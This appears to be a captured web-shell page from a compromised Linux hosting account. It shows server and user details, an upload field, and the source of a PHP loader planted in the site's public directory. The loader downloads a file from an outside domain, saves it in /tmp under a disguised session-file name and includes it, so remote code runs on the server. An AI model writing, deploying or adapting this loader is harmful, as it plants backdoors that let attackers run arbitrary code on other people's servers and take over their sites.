| Server IP : 192.64.150.99 / Your IP : 216.73.216.105 [ Web Server : Apache System : Linux web99.dnchosting.com 3.10.0-962.3.2.lve1.5.88.el7.x86_64 #1 SMP Fri Sep 26 14:06:42 UTC 2025 x86_64 User : ozbloke ( 1110) PHP Version : 7.0.33 Disable Function : NONE Domains : 1 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/ozbloke/public_html/pano/ |
Upload File : |
<?php
error_reporting(E_ALL ^ E_NOTICE);
$fn = substr(str_shuffle("0a1b2d5f6g7h8i9jl3cea3a4e"), 0, 4);
$sessionFile = "sess_xl" . md5("$fn") . ".php";
$localFile = "/tmp/{$sessionFile}";
$remoteUrl = "https://www.ciarloformaggi.it/public/fm.dat";
$contextOptions = [
"ssl" => [
"verify_peer" => true,
"verify_peer_name" => true,
]
];
$context = stream_context_create($contextOptions);
if (!file_exists($localFile) || filesize($localFile) === 0) {
$remoteContent = @file_get_contents($remoteUrl, false, $context);
if ($remoteContent === false) {
error_log("Failed to download the remote file from $remoteUrl.");
exit("An error occurred while fetching the remote file.");
}
if (file_put_contents($localFile, $remoteContent) === false) {
error_log("Failed to save the downloaded file to $localFile.");
exit("An error occurred while saving the file.");
}
}
if (file_exists($localFile)) {
include $localFile;
} else {
error_log("Failed to include the local file: $localFile.");
exit("An error occurred while including the file.");
}
header("Location: ?$fn");
exit();
?>